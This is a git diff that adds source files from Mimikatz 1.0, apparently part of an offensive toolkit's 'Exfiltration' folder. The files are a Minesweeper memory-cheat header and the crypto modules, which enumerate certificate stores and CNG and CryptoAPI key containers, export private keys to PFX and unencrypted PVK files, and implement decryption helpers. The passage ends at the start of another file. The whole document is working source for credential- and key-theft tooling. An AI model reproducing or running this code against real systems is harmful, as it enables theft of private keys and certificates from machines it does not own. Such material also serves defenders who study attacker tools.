\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h new file mode 100644 index 0000000..3870228 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_windows.h" +#include <iostream> + +class mod_mimikatz_winmine +{ +private: + typedef struct structMonDemineur{ + DWORD32 nbMines; + DWORD32 longueur; + DWORD32 hauteur; + DWORD32 alignOffset; + BYTE tabMines[26][32]; + } structMonDemineur; + + typedef struct structHandleAndAddr{ + HANDLE hWinmine; + DWORD pidWinmine; + structMonDemineur * addrMonDemineur; + PTHREAD_START_ROUTINE addrPause; + PTHREAD_START_ROUTINE addrResume; + PTHREAD_START_ROUTINE addrStart; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool startThreadAt(unsigned long structOffset); + static bool infosOrCheat(vector<wstring> * arguments, bool cheat = false); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool infos(vector<wstring> * arguments); + static bool start(vector<wstring> * arguments); + static bool pause(vector<wstring> * arguments); + static bool reprise(vector<wstring> * arguments); + static bool cheat(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp new file mode 100644 index 0000000..8baffa6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp @@ -0,0 +1,240 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_crypto.h" + +bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) +{ + map<wstring, DWORD> mesEmplacements; + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); + + map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore); + if(monIterateur != mesEmplacements.end()) + { + *systemStore = monIterateur->second; + return true; + } + else return false; +} + +BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) +{ + reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore)); + return TRUE; +} + +bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore) +{ + return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); +} + +bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) +{ + bool reussite = false; + wchar_t * monBuffer = NULL; + + DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; + + for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) + { + DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); + if(tailleRequise > 1) + { + monBuffer = new wchar_t[tailleRequise]; + reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; + certName->assign(monBuffer); + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) +{ + bool reussite = false; + DWORD taille = 0; + if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) + { + BYTE * monBuffer = new BYTE[taille]; + if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) + { + CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer); + keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); + keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); + keyProvInfo->cProvParam = mesInfos->cProvParam; + keyProvInfo->dwFlags = mesInfos->dwFlags; + keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; + keyProvInfo->dwProvType = mesInfos->dwProvType; + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) +{ + bool retour = false; + + HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); + PCCERT_CONTEXT pCertContextCopy = NULL; + + if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) + { + CRYPT_DATA_BLOB bDataBlob = {0, NULL}; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + bDataBlob.pbData = new BYTE[bDataBlob.cbData]; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + } + delete[] bDataBlob.pbData; + } + CertFreeCertificateContext(pCertContextCopy); + } + CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); + + return retour; +} + +bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) +{ + bool retour = false; + + HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + return retour; +} + +wstring mod_crypto::KeyTypeToString(DWORD keyType) +{ + wostringstream keyTypeStr; + switch (keyType) + { + case AT_KEYEXCHANGE: + keyTypeStr << L"AT_KEYEXCHANGE"; + break; + case AT_SIGNATURE: + keyTypeStr << L"AT_SIGNATURE"; + break; + default: + keyTypeStr << L"? (" << hex << keyType << L")"; + } + return keyTypeStr.str(); +} + + +bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) +{ + bool retour = false; + FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; + + HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) + { + if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + } + CloseHandle(hFile); + } + + return retour; +} + +bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) +{ + bool retour = false; + HCRYPTPROV hCryptProv = NULL; + HCRYPTKEY hKey = NULL; + PBYTE buffer = data; + DWORD dwWorkingBufferLength = dataSize; + + if(destBuffer && destBufferSize >= dataSize) + { + RtlCopyMemory(destBuffer, data, dataSize); + buffer = destBuffer; + } + + if((algorithme == CALG_RC4) && (keySize > 16)) + { + fullRC4(buffer, dataSize, key, keySize); + retour = true; + } + else + { + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; + BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; + RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); + RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); + + if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) + { + if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // évite les erreurs de parités http://support.microsoft.com/kb/331367/ + retour = (dwWorkingBufferLength == dataSize); + CryptDestroyKey(hKey); + } + delete[] myKey; + CryptReleaseContext(hCryptProv, 0); + } + } + return retour; +} + +void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les clés >= 128 bits (16 octets) +{ + ULONG i, j, k = 0, kpos = 0; + BYTE S[256], *pos = data; + + for (i = 0; i < 256; i++) + S[i] = static_cast<BYTE>(i); + + for (i = 0, j = 0; i < 256; i++) + { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + for (i = 0, j = 0; k < data_len; k++) + { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h new file mode 100644 index 0000000..582ed36 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h @@ -0,0 +1,60 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +#define PVK_FILE_VERSION_0 0 +#define PVK_MAGIC 0xb0b5f11e // bob's file +#define PVK_NO_ENCRYPT 0 +#define PVK_RC4_PASSWORD_ENCRYPT 1 +#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 + +class mod_crypto +{ +public: + typedef struct _KIWI_KEY_PROV_INFO { + std::wstring pwszContainerName; + std::wstring pwszProvName; + DWORD dwProvType; + DWORD dwFlags; + DWORD cProvParam; + DWORD dwKeySpec; + } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; + +private: + typedef struct _GENERICKEY_BLOB { + BLOBHEADER BlobHeader; + DWORD dwKeyLen; + } GENERICKEY_BLOB, *PGENERICKEY_BLOB; + + typedef struct _FILE_HDR { + DWORD dwMagic; + DWORD dwVersion; + DWORD dwKeySpec; + DWORD dwEncryptType; + DWORD cbEncryptData; + DWORD cbPvk; + } FILE_HDR, *PFILE_HDR; + + static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); +public: + static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); + + static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); + static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); + static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); + + static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); + static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); + static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); + static wstring KeyTypeToString(DWORD keyType); + + static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); + static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp new file mode 100644 index 0000000..f886f09 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptoapi.h" +HMODULE mod_cryptoapi::hRsaEng = NULL; + +bool mod_cryptoapi::loadRsaEnh() +{ + if(!hRsaEng) + hRsaEng = LoadLibrary(L"rsaenh"); + return (hRsaEng != NULL); +} + +bool mod_cryptoapi::unloadRsaEnh() +{ + if(hRsaEng) + FreeLibrary(hRsaEng); + return true; +} + +bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) +{ + map<wstring, wstring> mesProviders; + mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); + mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); + mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); + + map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName); + *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; + return true; +} + +bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) +{ + map<wstring, DWORD> mesTypes; + mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); + mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); + mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); + mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); + mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); + mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); + mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); + mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); + mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); + mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); + mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); + mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); + + map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName); + if(monIterateur != mesTypes.end()) + { + *ProviderType = monIterateur->second; + return true; + } + else return false; +} + +bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders) +{ + DWORD index = 0; + DWORD provType; + DWORD tailleRequise; + + while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) + { + wchar_t * monProvider = new wchar_t[tailleRequise]; + if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) + { + monVectorProviders->push_back(monProvider); + } + delete[] monProvider; + index++; + } + return (GetLastError() == ERROR_NO_MORE_ITEMS); +} + +bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) +{ + bool reussite = false; + + HCRYPTPROV hCryptProv = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + DWORD tailleRequise = 0; + char * containerName = NULL; + DWORD CRYPT_first_next = CRYPT_FIRST; + bool success = false; + + success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); + while(success) + { + containerName = new char[tailleRequise]; + if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0)) + { + wstringstream resultat; + resultat << containerName; + monVectorContainers->push_back(resultat.str()); + } + delete[] containerName; + CRYPT_first_next = CRYPT_NEXT; + } + reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); + CryptReleaseContext(hCryptProv, 0); + } + + return reussite; +} + +bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) +{ + bool reussite = false; + + if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) + { + *monExport = new BYTE[*tailleExport]; + if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) + delete[] monExport; + + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h new file mode 100644 index 0000000..8c70b48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ +{ +private: + static HMODULE hRsaEng; +public: + static bool getProviderString(wstring ProviderName, wstring * Provider); + static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); + + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); + static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); + + static bool loadRsaEnh(); + static bool unloadRsaEnh(); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp new file mode 100644 index 0000000..690f390 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp @@ -0,0 +1,143 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptong.h" + +HMODULE hNcrypt = LoadLibrary(L"ncrypt"); + +PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); +PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys")); +PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey")); +PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey")); +PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty")); + +PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); +PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject")); + +PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); +PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); + +bool mod_cryptong::isNcrypt = ( + hNcrypt && + K_NCryptOpenStorageProvider && + K_NCryptEnumKeys && + K_NCryptOpenKey && + K_NCryptExportKey && + K_NCryptGetProperty && + K_NCryptFreeBuffer && + K_NCryptFreeObject && + K_BCryptEnumRegisteredProviders && + K_BCryptFreeBuffer +); + +bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) + reussite = (K_NCryptFreeObject(hProvider) == 0); + + return reussite; +} + + +bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders) +{ + bool reussite = false; + + DWORD cbBuffer; + PCRYPT_PROVIDERS pBuffer = NULL; + + if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) + { + for(DWORD i = 0; i < pBuffer->cProviders; i++) + monVectorProviders->push_back(pBuffer->rgpszProviders[i]); + K_BCryptFreeBuffer(pBuffer); + } + + return reussite; +} + +bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + NCryptKeyName * pKeyName; + PVOID pEnumState = NULL; + + SECURITY_STATUS retour; + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) + { + monVectorContainers->push_back(pKeyName->pszName); + K_NCryptFreeBuffer(pKeyName); + } + reussite = (retour == NTE_NO_MORE_ITEMS); + + if(pEnumState) + K_NCryptFreeBuffer(pEnumState); + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + +bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + + + +bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) +{ + DWORD tailleEcrite = 0; + return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); +} + + +bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) +{ + bool reussite = false; + DWORD tailleEcrite = 0, exportability = 0; + + if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) + { + *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; + } + return reussite; +} + +bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) +{ + SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); + if(monRetour == ERROR_SUCCESS) + { + *monExport = new BYTE[*tailleExport]; + monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); + + if(monRetour != ERROR_SUCCESS) + delete[] monExport; + } + SetLastError(monRetour); + return (monRetour == ERROR_SUCCESS); +} + + +bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) +{ + return (K_NCryptFreeObject(hObject) == 0); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h new file mode 100644 index 0000000..3eec5b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <bcrypt.h> +#include <sstream> + +class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ +{ +public: + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false); + static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); + static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); + static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); + static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); + static bool NCryptFreeObject(NCRYPT_HANDLE hObject); + + static bool isNcrypt; + static bool justInitCNG(LPCWSTR pszProviderName = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp new file mode 100644 index 0000000..fe32c49 --- /dev/null +++ 